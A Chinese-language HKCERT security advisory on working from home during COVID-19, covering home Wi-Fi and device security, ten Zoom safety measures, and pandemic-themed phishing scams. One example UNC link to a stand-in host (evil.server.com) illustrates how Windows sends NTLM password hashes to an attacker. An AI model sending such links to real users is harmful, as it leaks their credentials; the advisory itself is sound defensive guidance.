資料來源：香港電腦保安事故協調中心

在家工作的資訊保安建議

因應新型冠狀病毒疫情，很多企業都會安排員工在家中工作，以盡量減低疫情在社區擴散的風險。在家工作大大增加了員工遙距工作和使用網上會議軟件作為溝通工具的機會，但需要加倍注意，更多的網絡介面和更大的數據流量在不可靠的網絡中，其潛在漏洞將帶來新的保安風險。香港電腦保安事故協調中心（HKCERT）提供了關於遙距工作裝置和網上會議軟件的保安建議，以及提防與疫情相關的網絡釣魚攻擊，供企業和員工參考。

如何加強遙距工作的資訊安全

切勿與他人共用工作裝置帳戶

不少人會與家人共用家裡的聯網裝置，尤其是電腦；但當運用這些裝置工作時，用戶應開設一個新的獨立帳戶，並使用另一組密碼，以確保其他用戶不能存取帳戶內的文件。這樣既能改善系統安全，又能防止其他人任意讀取或錯誤刪除重要文件。另外，完成工作後總要登出帳戶。

確保工作環境的私隱

當專心工作時，很容易會忽略身邊發生的事情。因此，建議在一個沒有他人的空間工作，尤其是輸入密碼或查看機密文檔時，以及使用螢幕防窺片，並且全程保持警惕。

確保工作環境的資訊安全

使用私人電腦工作前，要先做好保安工作：

- 安裝防火牆以避免直接連接互聯網，如沒有防火牆則用路由器代替。
- 安裝反惡意軟件工具並進行全面的安全掃瞄。
- 定期進行系統更新及安裝修補程式。

確保連接無線網絡（Wi-Fi）的安全

家用 Wi-Fi 網絡的保安亦十分重要。在家工作的員工可採取以下措施，確保安全使用：

- 更改路由器預設登入名稱和密碼。
- 將韌體（firmware）升級到最新版本。
- 查看當前已連接的設備情況，確認沒有可疑的設備。
- 建議使用最新的安全協議 WPA3，如路由器不支援，則可用較常見的 WPA2。

如需外出工作，避免連接公共 Wi-Fi，可使用自己手機的共享手機熱點功能上網。

保護數據

員工應將數據備份到公司提供的伺服器或雲端儲存作集中備份。如要將數據儲存於個人電腦，員工則需確保為那些敏感數據進行加密和備份，以防止數據外洩。

嚴格遵守公司資訊保安指引

員工應獲取公司的資訊保安準則並嚴格遵守。如果電腦上發現任何可疑活動，應立即終止與公司網絡的連接，並向 IT 管理員報告和求助。

如何保障網上會議安全

由於在家中工作，不少人皆會使用網上會議軟件作為溝通工具；其中 Zoom 因為操作容易及豐富功能，所以成為熱門的網上會議軟件之一。但是，HKCERT 留意到有一種針對 Zoom 用戶的新興網絡攻擊。這種名為 "Zoom-bombing" 或 "Video-teleconferencing hijacking" 的攻擊會嘗試登入至未有安全設定的會議，或利用軟件早前的漏洞來搜尋可用的會議 ID，再非法進入會議。一旦成功，黑客可竊聽會議，甚至騎劫會議，散播不當訊息／圖片或惡意軟件。

另外，黑客還會利用操作系統的功能來攻擊用戶，其中一個例子是利用 Windows 系統中常用的 UNC 連結（例子 \\evil.server.com\images\cat.jpg）。用戶於 Windows 中點擊任何 UNC 連結，系統會自動將用戶的登錄名和 NTLM 密碼雜湊（hashed password）發送到遠程伺服器。因此，黑客可在 Zoom 會議期間，向與所有與會者發送惡意的 UNC 連結，以收集個人資料作其他攻擊。

為此，HKCERT 建議了十招給以保障 Zoom 會議的安全，而這些針對 Zoom 的安全措施及相類似的設定，亦可在市面上其他的網上會議解決方案（例如 Cisco WebEx、Adobe Connect、Microsoft Teams、Google Hangouts Meet、CyberLink U Meeting 等）中找到。但不論選擇哪種方案，都應在使用前先了解其安全功能及弱點，以便更有效地保障網絡會議安全。

香港電腦保安事故協調中心提供的十招，以保障 Zoom 網上會議安全進行。

十招保障 Zoom 網上會議

所有 Zoom 用戶

1. 使用最新版本的 Zoom 軟件和保安軟件

- 只在其官方網站或官方應用程式商店下載軟件。
- 經常保持軟件至最新版本。
- 經常更新操作系統（包括桌面電腦及流動裝置）及保安軟件。

2. 提防任何不明的 UNC 連結

- 不要點擊任何可疑的 UNC 連結。
- （適用於專業 Windows 用戶）設置 Group policy 以停止傳送 NTLM 密碼。

3. 切勿在會議期間分享機密資訊

- Zoom 並未支援完全的端到端加密（端到端加密是指除指定人士外，連服務供應商 Zoom 亦無法查看會議的內容）。
- 避免討論任何機密資料以防止外洩。

4. 使用有意義的顯示名稱

- 避免使用誤導性名稱或網上暱稱，讓主持人更容易識別與會者。

5. 小心保護個人 Zoom 帳戶及留心可疑的帳戶活動

- 帳戶應設立一個高強度的帳戶密碼。
- 若發現可疑情況，請登出所有 Zoom 用戶端（如遺失電腦或手機，應立即登出所有用戶端，並更改登入密碼）。
- 切勿隨意分享或公開主辦方傳送的會議 ID 和網址。

主持會議的單位

6. 保護會議私密性及防止非法入侵者

- 只向與會者分享會議 ID 和網址，切勿將其分享到社交媒體或公開的網絡平台。
- 每次會議都設立不同的會議 ID 和密碼*。
- 設立高強度的會議密碼，並分開發送會議網址給與會者。
- 使用預先登記功能來控制與會者名單。
- 禁用「在主持人之前加入會議」（Join before Host）選項，確保主持人在與會者加入會議前已經在場，讓主持人預先識別與會者。
- 善用等候室功能來控制誰可登入會議。
- 當所有與會者都加入會議後立即鎖上會議。
- 設定分享螢幕至「只限主持人」（Only Host），並只在有需要時才開放此功能給與會者。

7. 監察會議

- 使用另一部裝置以與會者身份登入。
- 監察與會者分享的任何不當內容，移除不合適的資訊和身份不明人士。

8. 小心處理會議錄像以確保安全及保護與會者私隱

- 如果要進行錄影，應預先通知所有與會者。
- 如果錄像內含有敏感資料，應將該錄像保存於個人電腦中，而非雲端內，並設置適當的存取權限，僅共享給可信任人士。

9. 保密自己帳戶的個人會議（Personal Meeting）ID

- 此 ID 可連結至自己的 Zoom 帳戶，所以只應作個人使用。
- 切勿分享此 ID 或用於一般會議中。

10. 為網絡會議制定有關的保安政策

- 公司應制定相關的保安政策，供員工於主持和參加網上會議時遵循。
- 相關政策應涵蓋使用守則及安全控制。

對 Zoom 的網絡攻擊保持警惕

黑客還會繼續利用 Zoom 的普及性來發動不同網絡攻擊。據報導，自疫情爆發期間，有大量偽冒 Zoom 的域名被註冊。這些域名會用來散播釣魚詐騙和偽裝成 Zoom 的惡意軟件來引誘用戶安裝。用戶應保持警惕，不要點擊可疑的連結或開啟可疑的電郵附件。

如何提防疫情相關網絡釣魚攻擊

HKCERT 曾發佈有關「提防利用偽冒疫情訊息的網絡釣魚攻擊」的消息，提及當時有黑客組織針對日本地區的用戶，發送有關此病毒訊息的釣魚電郵，誘導受害者下載惡意軟件或木馬程式，而此類網絡攻擊已開始在世界各地蔓延。

利用偽冒疫情訊息的網絡釣魚攻擊已在世界各地發生，需加強防範。

** 最新版本的 Zoom 會預先啟用會議密碼設定，並新增了防止用隨機掃瞄會議 ID 的方法來加入會議的措施。*

黑客偽冒機構發出資訊

黑客通常透過電話短訊、電郵、網站等，偽冒官方機構或是售賣防疫用品商店發出的資訊，主要目的是偷取個人資料、散播惡意軟件及詐騙金錢。以下是其中的例子。

偷取個人資料

發送有關免費口罩贈送或送貨延遲的 SMS 短訊，誘使受害者填寫個人資料。

散播惡意軟件

1. 假借國際機構（如世界衛生組織）或政府部門，以發佈有關地區性最新疫情的訊息或衛生建議為名，向受害人發送附有惡意軟件的電郵；
2. 假冒保險公司發送有關疫情的保險計劃虛假發票連結，而該連結實際是下載惡意軟件；
3. 偽裝成全球實時病例地圖，騙取受害人下載竊取密碼的惡意軟件；
4. 上載偽冒的疫情追蹤 APP 至手機應用程式商店，開啟後會連帶安裝勒索軟件；
5. 提供惡意軟件或網絡攻擊服務至暗網中以特價發售，但此類軟件可能會先入侵買家電腦，令買家亦變成受害者。

詐騙金錢

1. 登記和病毒名稱有關的域名（如 covid-19 或 coronavirus），並建立虛假網站售賣防疫用品；
2. 發送電郵聲稱募捐（收取虛擬貨幣如 bitcoin）用作支援對抗疫情；
3. 插入 2019 冠狀病毒病等字眼，到網絡論壇上其他使用者的留言中，該字眼會連結至可疑的藥物網站。

網絡釣魚攻擊的安全建議

除以上的攻擊手法外，其他以這次疫情名義的網絡攻擊可能仍會持續及變種。HKCERT 提醒各界保持警覺，以下是網絡安全建議：

- 對於在家工作安排，企業所有者應使用安全的遠程訪問技術並正確配置，包括使用多重身份驗證；
- 更新所有系統軟件；
- 提防要求個人資料的電子郵件（例如帳戶密碼或銀行賬戶資料）；
- 不要安裝來源不明的手機應用程式；
- 只連接至可靠及安全的 Wi-Fi；
- 使用可靠的網站獲取有關疫情資訊，例如香港特區政府「同心抗疫」網站：www.coronavirus.gov.hk/chi/index.html

報告保安事故

HKCERT 接受與電腦保安相關的事故報告，例如：惡意程式、網頁塗改、網絡釣魚、網上詐騙、阻斷服務攻擊及其他電腦保安攻擊，亦接受電腦保安防護的查詢。

電話：+852 8105 6060（可留言）
傳真：+852 8105 9760
電郵：hkcert@hkcert.org
網上表格：www.hkcert.org/incident-reporting